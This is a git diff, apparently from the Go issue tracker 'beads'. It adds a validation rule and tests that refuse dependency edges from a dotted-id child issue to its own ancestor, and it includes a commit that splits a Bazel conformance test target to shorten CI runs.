a/internal/httpapi/dependency_edit_test.go b/internal/httpapi/dependency_edit_test.go index 6761969ac..96be92261 100644 --- a/internal/httpapi/dependency_edit_test.go +++ b/internal/httpapi/dependency_edit_test.go @@ -564,6 +564,20 @@ func TestAddDependenciesMapsTheGraphsTypedRefusals(t *testing.T) { wantCode: CodeInvalidArgument, wantMembers: map[string]any{"param": "edges[0].depends_on_id"}, }, + { + // The dotted-id hierarchy rule (issueops.CheckDottedChildDependency) + // is the role's validation, so it is the 400 below and never the + // hierarchy conflict's dependency_cycle members. + name: "a dotted child gated on its own parent is a 400 on edges", + body: oneEdge, + err: &issueops.DottedChildDependencyError{ + IssueID: "bd-1.1", DependsOnID: "bd-1", Type: issueops.DepBlocks, + }, + wantStatus: http.StatusBadRequest, + wantCode: CodeInvalidArgument, + wantMembers: map[string]any{"param": "edges"}, + absentMembers: []string{"issue_id", "blocker_id", "blocker_is_ancestor"}, + }, { name: "the role's own validation refusal is a 400 on edges", body: oneEdge, diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index f62181bf3..7465f20b6 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -4277,6 +4277,9 @@ paths: or a payload its `kind` does not name, a `create` with no `title`, a duplicate `key`, a `Ref` with neither `key` nor `id` or with both, a `dep_add` with an unstorable `type` or pointing a row at ITSELF, a + `dep_add` from a dotted-id child to one of its own ancestors + (anything but the parent-child edge to its IMMEDIATE parent, judged + once the item's refs resolve and carrying `param` `items`), a `waits-for` gate outside its two values, an item a workspace's own validation refuses, and an edge endpoint that names nothing this database can see. An explicit `create.id` that already names a @@ -4396,7 +4399,9 @@ paths: and `blocker_is_ancestor`. They may come from the per-edge probe or from the END GATE, which is the one place an edge that is legal on its own and illegal in the graph this request built is caught. - Neither has a force bypass. + Neither has a force bypass. A `dep_add` from a dotted-id child to an + ancestor its own id names is neither: it is a `400` + `invalid_argument`, as on that operation. `already_exists` is a `create` item whose EXPLICIT `id` already @@ -5598,13 +5603,19 @@ paths: is empty after trimming, longer than 256 bytes or carrying control characters, an empty or over-long `edges` array, a blank or over-long endpoint id, an unstorable `type`, an edge that points an - issue at ITSELF, or an edge endpoint that names nothing this - database can see. Nothing is written in any of these cases. + issue at ITSELF, an edge from a dotted-id child to one of its own + ancestors (anything but the parent-child edge to its IMMEDIATE + parent), or an edge endpoint that names nothing this database can + see. Nothing is written in any of these cases. A self-dependency is a `400` rather than a `409` because it is request-intrinsic: it is invalid whatever the graph holds, so it is - a refusal of a VALUE and not a statement about state. An endpoint + a refusal of a VALUE and not a statement about state. The dotted-id + child's edge is a `400` for the same reason, carrying `param` + `edges`: the two ids decide it before the graph is read, so even a + child whose parent-child edge is already stored gets this `400`, + never the `409` hierarchy refusal or `dependency_exists`. An endpoint that names nothing is a `400` rather than a `404` for `POST /v0/beads/issues:batchCreate`'s reason: the refusal is about the request BODY, and there is no id in the path to have missed. @@ -5636,6 +5647,11 @@ paths: Neither has a force bypass. The recovery for both is to rethink the edge, which is why they are one status and not a retry. + + + An edge from a dotted-id child to an ancestor its own id names is + neither: it is a `400` `invalid_argument`, decided from the two ids + before the graph is read. x-bd-codes: [dependency_cycle, dependency_exists] content: application/problem+json: diff --git a/internal/httpclient/dependencyeditor.go b/internal/httpclient/dependencyeditor.go index a94a38d89..dd1c53222 100644 --- a/internal/httpclient/dependencyeditor.go +++ b/internal/httpclient/dependencyeditor.go @@ -135,5 +135,9 @@ func checkEdge(i int, edge issueops.DependencyEdge) error { case edge.IssueID == edge.DependsOnID: return fmt.Errorf("%s: %w", edge.IssueID, issueops.ErrSelfDependency) } - return nil + // The dotted-id hierarchy rule, for the self-dependency check's reason: the + // server refuses it as a 400 that arrives here as a bare ErrValidation, + // while the role promises the typed *DottedChildDependencyError. It is the + // library's own check, not a restatement. + return issueops.CheckDottedChildDependency(edge.IssueID, edge.DependsOnID, edge.Type) } diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go index 1117c51b8..e7aa98872 100644 --- a/internal/httpclient/served_batch_apply_test.go +++ b/internal/httpclient/served_batch_apply_test.go @@ -265,6 +265,10 @@ func TestServedBatchApplyCloseItemsAnswerToTheCloseGuards(t *testing.T) { conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, t.Context(), newServedBatchApplyFixture(t, "hbacg")) } +func TestServedBatchApplyRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { + conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, t.Context(), newServedBatchApplyFixture(t, "hbadot")) +} + // TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed wires the dep_add // HasSpawner/ThreadID lineage conformance case onto the http leg (S5): a // served default Config always advertises CapBatchApplyDepAddLineage (it is diff --git a/internal/httpclient/served_memories_deps_test.go b/internal/httpclient/served_memories_deps_test.go index 014f38ce3..5550f0b4b 100644 --- a/internal/httpclient/served_memories_deps_test.go +++ b/internal/httpclient/served_memories_deps_test.go @@ -10,6 +10,7 @@ import ( "testing" "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/httpapi/apigen" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -389,6 +390,10 @@ func TestServedDependencyEditorAcceptsBlockingAcrossIssueTypes(t *testing.T) { conformance.RunDependencyEditorAcceptsBlockingAcrossIssueTypes(t, t.Context(), newServedDependencyEditorFixture(t, "hd32")) } +func TestServedDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { + conformance.RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t, t.Context(), newServedDependencyEditorFixture(t, "hddot")) +} + func TestServedDependencyEditorGateScopeFollowsTheEdgeType(t *testing.T) { conformance.RunDependencyEditorGateScopeFollowsTheEdgeType(t, t.Context(), newServedDependencyEditorFixture(t, "hd33")) } @@ -433,3 +438,37 @@ func TestServedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *test func TestServedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t *testing.T) { conformance.RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t, t.Context(), newServedDependencyEditorFixture(t, "hd41")) } + +// TestServedServerRefusesADottedChildGatedOnItsOwnParent sends the edge on the +// raw wire, past the client's own CheckDottedChildDependency, so what refuses +// it is the SERVER's role — the leg a non-bd HTTP caller (gc, curl) reaches. +// Before the rule moved into issueops only the CLI refused it, and this edge +// landed. +func TestServedServerRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { + env := newServedEnv(t, "hddotw") + parent := env.prefix + "-dotted" + child := parent + ".1" + for _, id := range []string{parent, child} { + if err := env.createIssue(t.Context(), &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + w, err := env.subject.roleWire("DependencyEditor") + if err != nil { + t.Fatalf("roleWire: %v", err) + } + _, err = w.AddDependencies(t.Context(), apigen.AddDependenciesRequest{ + Actor: "writer", + Edges: []apigen.DependencyEdge{{IssueId: child, DependsOnId: parent, Type: "blocks"}}, + }) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("raw-wire child -> parent blocks: error = %v, want the server's ErrValidation refusal", err) + } + var n int + if err := env.queryScalar(t.Context(), "SELECT COUNT(*) FROM dependencies WHERE issue_id = ?", []any{child}, &n); err != nil { + t.Fatalf("count edges: %v", err) + } + if n != 0 { + t.Fatalf("%d edge(s) from %s landed; the server must refuse a dotted child gated on its own parent", n, child) + } +} diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index 8ead3a15b..5d009ca38 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -270,6 +270,11 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) }) + t.Run("RefusesADottedChildGatedOnItsOwnParent", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) + }) } // newDoltBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/dolt/dependency_editor_contract_test.go b/internal/storage/dolt/dependency_editor_contract_test.go index f5fac1515..57167a4a4 100644 --- a/internal/storage/dolt/dependency_editor_contract_test.go +++ b/internal/storage/dolt/dependency_editor_contract_test.go @@ -259,6 +259,12 @@ func TestDependencyEditorAcceptsBlockingAcrossIssueTypes(t *testing.T) { conformance.RunDependencyEditorAcceptsBlockingAcrossIssueTypes(t, ctx, fixture) } +func TestDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { + fixture, ctx, cleanup := newDoltDependencyEditorFixture(t, "dotted") + defer cleanup() + conformance.RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) +} + // newDoltDependencyEditorFixture composes the backend's role fixture kit with // the accessor under test. Every hook but the accessor comes from the kit, so // the seeding and scalar-query plumbing stays identical to the other roles'. diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index 9280f9acb..6d330a163 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -196,6 +196,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("CloseItemsAnswerToTheCloseGuards", func(t *testing.T) { conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) }) + t.Run("RefusesADottedChildGatedOnItsOwnParent", func(t *testing.T) { + conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) + }) } // newEmbeddedBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/embeddeddolt/dependency_editor_contract_test.go b/internal/storage/embeddeddolt/dependency_editor_contract_test.go index 88335f2d7..d51e7edd2 100644 --- a/internal/storage/embeddeddolt/dependency_editor_contract_test.go +++ b/internal/storage/embeddeddolt/dependency_editor_contract_test.go @@ -261,6 +261,12 @@ func TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes(t *testing.T) { conformance.RunDependencyEditorAcceptsBlockingAcrossIssueTypes(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "xtype")) } +func TestEmbeddedDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + conformance.RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "dotted")) +} + // newEmbeddedDependencyEditorFixture composes the backend's role fixture kit // with the accessor under test. Every hook but the accessor comes from the kit, // so the seeding and scalar-query plumbing stays identical to the other roles'. diff --git a/internal/storage/issueops/batch_apply.go b/internal/storage/issueops/batch_apply.go index 1621e772e..0459110eb 100644 --- a/internal/storage/issueops/batch_apply.go +++ b/internal/storage/issueops/batch_apply.go @@ -352,6 +352,12 @@ func (r *applyBatchRun) applyDepAdd(ctx context.Context, tx *sql.Tx, index int, // bound to. The planner catches only the syntactically identical pair. return itemErr(fmt.Errorf("%w: %s", publicops.ErrSelfDependency, source)) } + // The dotted-id hierarchy rule DependencyEditor applies, on the RESOLVED + // ids: a key can name a row whose minted id is a dotted child, so the planner + // cannot decide this before the creates ran. + if err := publicops.CheckDottedChildDependency(source, target, item.Type); err != nil { + return itemErr(err) + } // THE CROSS-PLANE REFUSAL IS ABOUT ROWS THIS REQUEST CREATED, and only // those. The two planes hold their edges in different tables, so an edge // between a durable row and a wisp the same batch minted is one the batch diff --git a/internal/storage/issueops/dependency_editor.go b/internal/storage/issueops/dependency_editor.go index ec8cb46b1..d1c7fac46 100644 --- a/internal/storage/issueops/dependency_editor.go +++ b/internal/storage/issueops/dependency_editor.go @@ -21,6 +21,12 @@ import ( // self-edge otherwise trips the cycle check and reports the wrong refusal, and // SkipPerEdgeCycleCheck would skip it entirely. // +// The dotted-id hierarchy rule (publicops.CheckDottedChildDependency) is here +// for the same reason: it is decided from the request alone, and putting it in +// the shared validator is what makes every leg — dolt, embedded, the unit of +// work and the server behind httpapi — refuse a child gated on its own dotted +// parent, not only the CLI that used to check it before calling the role. +// // The type check is that there IS a type — non-empty, within the column's // length. It is deliberately not a membership test: the vocabulary is an open, // workspace-configurable set (see the Dep* constants), so refusing an unlisted @@ -43,6 +49,9 @@ func ValidateAddDependenciesRequest(request publicops.AddDependenciesRequest) er if edge.IssueID == edge.DependsOnID { return fmt.Errorf("%w: %s cannot depend on itself", domain.ErrSelfDependency, edge.IssueID) } + if err := publicops.CheckDottedChildDependency(edge.IssueID, edge.DependsOnID, edge.Type); err != nil { + return err + } } return nil } diff --git a/internal/storage/uow/batch_applier.go b/internal/storage/uow/batch_applier.go index b26025a5c..8562f63b7 100644 --- a/internal/storage/uow/batch_applier.go +++ b/internal/storage/uow/batch_applier.go @@ -461,6 +461,9 @@ func (r *uowApplyRun) applyDepAdd(ctx context.Context, index int, item *publicop if source == target { return itemErr(fmt.Errorf("%w: %s", publicops.ErrSelfDependency, source)) } + if err := publicops.CheckDottedChildDependency(source, target, item.Type); err != nil { + return itemErr(err) + } sourceWisp, sourceMine := r.planes[source] targetWisp, targetMine := r.planes[target] if sourceMine && targetMine && sourceWisp != targetWisp { diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index 2d8b4673d..edfa1af3d 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -166,6 +166,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("CloseItemsAnswerToTheCloseGuards", func(t *testing.T) { conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) }) + t.Run("RefusesADottedChildGatedOnItsOwnParent", func(t *testing.T) { + conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) + }) } func newUOWBatchApplyFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchApplyFixture { diff --git a/internal/storage/uow/dependency_editor_contract_test.go b/internal/storage/uow/dependency_editor_contract_test.go index 855ec2521..3d2cc274a 100644 --- a/internal/storage/uow/dependency_editor_contract_test.go +++ b/internal/storage/uow/dependency_editor_contract_test.go @@ -66,6 +66,7 @@ func TestUOWDependencyEditorContract(t *testing.T) { {name: "AcceptsADiamond", run: conformance.RunDependencyEditorAcceptsADiamond}, {name: "GateScopeFollowsTheEdgeType", run: conformance.RunDependencyEditorGateScopeFollowsTheEdgeType}, {name: "AcceptsBlockingAcrossIssueTypes", run: conformance.RunDependencyEditorAcceptsBlockingAcrossIssueTypes}, + {name: "RefusesADottedChildGatedOnItsOwnParent", run: conformance.RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent}, } { t.Run(test.name, func(t *testing.T) { test.run(t, ctx, fixture) diff --git a/issueops/dependencyeditor.go b/issueops/dependencyeditor.go index f9b0683eb..16cfc1b5b 100644 --- a/issueops/dependencyeditor.go +++ b/issueops/dependencyeditor.go @@ -2,6 +2,8 @@ package issueops import ( "context" + "fmt" + "strings" "github.com/steveyegge/beads/internal/types" ) @@ -147,12 +149,20 @@ type RemoveDependencyResult struct { type DependencyEditor interface { // AddDependencies asserts every edge in the request as ONE durable act: // one transaction, one history entry. Any refused edge refuses the whole - // request and writes nothing — a self-dependency (ErrSelfDependency), a - // scheduling cycle (ErrDependencyCycle), a conflicting type on a pair that - // already has an edge (*DependencyTypeConflictError), a blocking edge that - // would gate an issue on its own ancestor or descendant - // (*DependencyHierarchyConflictError), or a SOURCE that does not exist - // (ErrDependencySourceNotFound). + // request and writes nothing — a self-dependency (ErrSelfDependency), an + // explicit edge from a dotted-id child to its own ancestor + // (*DottedChildDependencyError), a scheduling cycle (ErrDependencyCycle), + // a conflicting type on a pair that already has an edge + // (*DependencyTypeConflictError), a blocking edge that would gate an issue + // on its own ancestor or descendant (*DependencyHierarchyConflictError), + // or a SOURCE that does not exist (ErrDependencySourceNotFound). + // + // The dotted-child refusal is decided from the request alone, before any + // read, so it takes precedence over every refusal that reads stored rows: + // a child whose parent-child edge to that parent is already stored (the + // `bd create --parent` shape) is refused with *DottedChildDependencyError, + // which matches ErrValidation, not with the hierarchy or type conflict the + // stored edge would otherwise raise. // // A target's existence is checked only where the backend can see it. A // target may legitimately be an "external:" reference or an issue in @@ -188,3 +198,72 @@ type DependencyEditor interface { // missing edge is Removed false with a nil error, not ErrNotFound. RemoveDependency(ctx context.Context, req RemoveDependencyRequest) (RemoveDependencyResult, error) } + +// DottedChildDependencyError refuses an explicit edge from a dotted-id child to +// its own ancestor. The id already says "bd-abc.1 is under bd-abc": a child +// inherits its parent's completion through the hierarchy, so a blocking (or any +// other) explicit edge back up the tree either duplicates that structure or, for +// a blocking type, deadlocks it — the parent cannot close before the child, and +// the child would wait on the parent. +// +// The one edge it allows is the hierarchy itself: a parent-child edge to the +// IMMEDIATE dotted parent. A parent-child edge to a higher ancestor is refused +// too, because it would contradict the parent the id names. +// +// It unwraps to ErrValidation: the refusal is decidable from the two ids and +// the type alone, with no read, so it is a property of the request. +// +// The message is the sentence `bd dep add` already printed, kept verbatim, so +// it says "deadlock" whatever the type; Type is carried for callers that +// inspect the refusal and is not rendered. +type DottedChildDependencyError struct { + IssueID string + DependsOnID string + Type DependencyType +} + +func (e *DottedChildDependencyError) Error() string { + return fmt.Sprintf("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", + e.IssueID, e.DependsOnID) +} + +// Unwrap classifies the refusal as request validation. +func (e *DottedChildDependencyError) Unwrap() error { return ErrValidation } + +// IsDottedChildDependency reports whether an edge from issueID to dependsOnID +// of type depType is the dotted-id hierarchy conflict CheckDottedChildDependency +// refuses. It is exported for callers that phrase the refusal themselves (a +// bulk report naming the offending line); every role enforces it through +// CheckDottedChildDependency. +func IsDottedChildDependency(issueID, dependsOnID string, depType DependencyType) bool { + _, immediateParent, depth := types.ParseHierarchicalID(issueID) + if depth == 0 || dependsOnID == "" { + return false + } + if dependsOnID != immediateParent && !strings.HasPrefix(issueID, dependsOnID+".") { + return false + } + return depType != DepParentChild || dependsOnID != immediateParent +} + +// CheckDottedChildDependency is the ONE enforcement of the dotted-id hierarchy +// rule. Every DependencyEditor implementation applies it to each requested edge +// and every BatchApplier applies it to each dep_add item once its refs resolve, +// so `bd dep add`, an HTTP dependencies:add, and a batch apply (including +// `bd create --graph`'s own edges) refuse the same edge the same way. Two CLI +// paths that write an edge through a store verb instead of a role call it +// themselves: `bd link` and `bd batch`'s `dep add`. +// +// Other edge writers do not apply it yet, so they can still store an edge the +// roles refuse. The known ones are `bd relate`; the edges a create writes with +// its issue (`bd create --deps`/`--waits-for`, and Lifecycle.Create's ParentID, +// Dependencies and WaitsFor); `bd duplicate`, `bd supersede` and +// `bd duplicates --auto-merge`'s link and reparenting; and the tracker engine's +// createDependencies. The molecule, template and swarm writers have not been +// audited against it. bd-25s1wh tracks the gap. +func CheckDottedChildDependency(issueID, dependsOnID string, depType DependencyType) error { + if IsDottedChildDependency(issueID, dependsOnID, depType) { + return &DottedChildDependencyError{IssueID: issueID, DependsOnID: dependsOnID, Type: depType} + } + return nil +} diff --git a/issueops/issueops_external_test.go b/issueops/issueops_external_test.go index 4f12dffbc..fd8f81ce2 100644 --- a/issueops/issueops_external_test.go +++ b/issueops/issueops_external_test.go @@ -340,3 +340,58 @@ func (operationsProbe) Close(context.Context, issueops.CloseRequest) (issueops.C func (operationsProbe) Reopen(context.Context, issueops.ReopenRequest) (issueops.ReopenResult, error) { return issueops.ReopenResult{}, nil } + +// TestCheckDottedChildDependency pins the dotted-id hierarchy rule every +// DependencyEditor and BatchApplier enforces. It absorbs the CLI's former +// isChildOf / isDisallowedHierarchicalDependency tables. +func TestCheckDottedChildDependency(t *testing.T) { + for _, tt := range []struct { + name string + from string + to string + depType issueops.DependencyType + want bool + }{ + {"direct child blocks on parent", "bd-abc.1", "bd-abc", issueops.DepBlocks, true}, + {"grandchild blocks on grandparent", "bd-abc.1.2", "bd-abc", issueops.DepBlocks, true}, + {"grandchild blocks on immediate parent", "bd-abc.1.2", "bd-abc.1", issueops.DepBlocks, true}, + {"deeply nested child blocks on root", "bd-abc.1.2.3", "bd-abc", issueops.DepBlocks, true}, + {"child relates to parent", "bd-abc.1", "bd-abc", issueops.DepRelated, true}, + {"grandchild parent-child to grandparent", "bd-root.1.2", "bd-root", issueops.DepParentChild, true}, + {"immediate parent-child allowed", "bd-root.1.2", "bd-root.1", issueops.DepParentChild, false}, + {"same id", "bd-abc", "bd-abc", issueops.DepBlocks, false}, + {"unrelated ids", "bd-xyz", "bd-abc", issueops.DepBlocks, false}, + {"unrelated target from a dotted child", "bd-root.1.2", "bd-other", issueops.DepBlocks, false}, + {"sibling", "bd-abc.2", "bd-abc.1", issueops.DepBlocks, false}, + {"parent on its child", "bd-abc", "bd-abc.1", issueops.DepBlocks, false}, + {"prefix but not hierarchical", "bd-abcd", "bd-abc", issueops.DepBlocks, false}, + {"textual prefix of a dotted id is not an ancestor", "bd-abc.10", "bd-abc.1", issueops.DepBlocks, false}, + {"external target", "bd-abc.1", "external:bd-abc", issueops.DepBlocks, false}, + } { + t.Run(tt.name, func(t *testing.T) { + if got := issueops.IsDottedChildDependency(tt.from, tt.to, tt.depType); got != tt.want { + t.Fatalf("IsDottedChildDependency(%q, %q, %q) = %v, want %v", tt.from, tt.to, tt.depType, got, tt.want) + } + err := issueops.CheckDottedChildDependency(tt.from, tt.to, tt.depType) + if !tt.want { + if err != nil { + t.Fatalf("CheckDottedChildDependency = %v, want nil", err) + } + return + } + var dotted *issueops.DottedChildDependencyError + if !errors.As(err, &dotted) || !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("CheckDottedChildDependency = %v, want *DottedChildDependencyError matching ErrValidation", err) + } + if dotted.IssueID != tt.from || dotted.DependsOnID != tt.to || dotted.Type != tt.depType { + t.Fatalf("refusal = %#v, want the edge it refused", dotted) + } + // The CLI prints this sentence verbatim, so it is behaviour. + want := "cannot add dependency: " + tt.from + " is already a child of " + tt.to + + ". Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock" + if err.Error() != want { + t.Fatalf("message = %q, want %q", err.Error(), want) + } + }) + } +} From c21880105fc1608a58f8472fdeff8f57a3f0c263 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 23:29:35 +0000 Subject: [PATCH 200/325] ci(bazel): split embedded conformance core into two targets (#7446) //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test ran conformance.RunAll minus Audit as one unsharded action, 108-150s on rbe-west, the embedded lane's longest after #7443. Every RunAll group builds its own store from the factory, so the groups share no state and can run in separate processes; about half the time was two groups, ReadyCountsPageChunking (~33s) and Portable (~20s). The new embeddeddolt_conformance_core_slow_test runs exactly those two groups (-test.run=^TestConformance$/^(ReadyCountsPageChunking|Portable)$), and the core target skips them along with Audit. The core target skips only named groups, so any group added to or renamed in RunAll still runs there: between them the two targets run every core group exactly once (rbe-west: 57 + 2 groups, no overlap, the same 59 as before). No test changed. The frozen-partition check now derives both targets' selectors from the retired job's core selector plus conformanceCoreSlowGroups; the retired-lane arg pins, bazel.yml's --whole list and the BUILD rules carry the new target. rbe-west, `bazel test //... --config=embedded --nocache_test_results`: conformance core 148s -> 55s + 57s. Bead: ga-vnycm2.31 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 1 + internal/storage/embeddeddolt/BUILD.bazel | 35 ++++++++++++++++-- scripts/ci_workflow_test.go | 43 ++++++++++++++++++++--- scripts/pr_risk_bazel_coverage_test.go | 8 +++-- 4 files changed, 79 insertions(+), 8 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 632b264d0..eeb98a410 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1399,6 +1399,7 @@ jobs: --suite //cmd/bd:bd_embedded_part2_test .github/scripts/embedded-test-shard.sh 50@50/100 --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 40 --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test + --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_slow_test --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test - name: Upload test logs diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 7997a0f13..474d6cc45 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -315,7 +315,13 @@ sh_test( ) # PR Risk's "Test (Embedded Dolt Conformance - core)" job: conformance.RunAll -# except its Audit group, with the job's binary flags but -test.timeout. +# except its Audit group, with the job's binary flags but -test.timeout. It +# runs as two targets: this one skips Audit and the groups +# embeddeddolt_conformance_core_slow_test (below) runs, so the two run every +# core group exactly once between them (a group added to RunAll lands here). +# As one action it took 108-150s on rbe-west, ~half of it those two groups. +# Every RunAll group builds its own store from the factory, so the split +# shares no state. # # Tags: # embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, @@ -335,7 +341,32 @@ sh_test( "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$", - "-test.skip=^TestConformance$$/^Audit$$", + "-test.skip=^TestConformance$$/^(Audit|ReadyCountsPageChunking|Portable)$$", + ], + data = [":embeddeddolt_test"], + env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, + tags = ["embedded"], +) + +# The slow groups of the core conformance partition (see +# embeddeddolt_conformance_core_test, which skips exactly these): +# ReadyCountsPageChunking (~33s) and Portable (~20s) under -race. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "embeddeddolt_conformance_core_slow_test", + size = "large", + # -test.timeout=19m: as embeddeddolt_conformance_core_test. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :embeddeddolt_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + "-test.run=^TestConformance$$/^(ReadyCountsPageChunking|Portable)$$", ], data = [":embeddeddolt_test"], env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index cabb5ed54..5775326b9 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -4393,12 +4393,32 @@ func TestBazelEmbeddedJobRunsEmbeddedTier(t *testing.T) { } // The retired test-embedded-conformance job's two partitions, frozen. + // Core runs as two targets: embeddeddolt_conformance_core_test runs the + // job's core selector but also skips conformanceCoreSlowGroups, which + // embeddeddolt_conformance_core_slow_test runs instead, so between them + // they run every core group exactly once. conformance := map[string]string{ "core": `/tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$' -test.skip '^TestConformance$/^Audit$'`, "audit": `/tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$/^Audit$'`, } + slow := strings.Join(conformanceCoreSlowGroups, "|") + // What each target's rule must say instead of the job's own selector. + retarget := map[string]map[string]string{ + "embeddeddolt_conformance_core_test": { + `"-test.skip=^TestConformance$$/^Audit$$",`: `"-test.skip=^TestConformance$$/^(Audit|` + slow + `)$$",`, + }, + "embeddeddolt_conformance_core_slow_test": { + `"-test.run=^TestConformance$$",`: `"-test.run=^TestConformance$$/^(` + slow + `)$$",`, + `"-test.skip=^TestConformance$$/^Audit$$",`: "", + }, + } quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) - for partition, target := range map[string]string{"core": "embeddeddolt_conformance_core_test", "audit": "embeddeddolt_conformance_audit_test"} { + for _, c := range []struct{ partition, target string }{ + {"core", "embeddeddolt_conformance_core_test"}, + {"core", "embeddeddolt_conformance_core_slow_test"}, + {"audit", "embeddeddolt_conformance_audit_test"}, + } { + partition, target := c.partition, c.target run := conformance[partition] fields := strings.Fields(run) if len(fields) == 0 || fields[0] != "/tmp/embeddeddolt-test" { @@ -4406,15 +4426,22 @@ func TestBazelEmbeddedJobRunsEmbeddedTier(t *testing.T) { } var want []string for _, m := range quoted.FindAllStringSubmatch(run, -1) { + var w string switch { case m[1] != "": - want = append(want, `"`+m[1]+"="+strings.ReplaceAll(m[2], "$", "$$")+`",`) + w = `"` + m[1] + "=" + strings.ReplaceAll(m[2], "$", "$$") + `",` case strings.HasPrefix(m[3], "-test.timeout="): // Documented deviation: Bazel kills at 1200s without a // goroutine dump, so the variant's Go timeout is 19m. - want = append(want, `"-test.timeout=19m",`) + w = `"-test.timeout=19m",` default: - want = append(want, `"`+m[3]+`",`) + w = `"` + m[3] + `",` + } + if r, ok := retarget[target][w]; ok { + w = r + } + if w != "" { + want = append(want, w) } } if len(want) < 4 { @@ -4429,6 +4456,14 @@ func TestBazelEmbeddedJobRunsEmbeddedTier(t *testing.T) { } } +// conformanceCoreSlowGroups are the conformance.RunAll groups +// embeddeddolt_conformance_core_slow_test runs and +// embeddeddolt_conformance_core_test skips. The core target skips only these +// names, so a group renamed or added in RunAll still runs there: a name here +// that RunAll no longer has matches nothing in either target and loses no +// group, only the split (core gets slower again). +var conformanceCoreSlowGroups = []string{"ReadyCountsPageChunking", "Portable"} + // bazel-pure replaces pr.yml's check-cmd-bd-puregeo-tests job: the same pure // cmd/bd test selector, the same 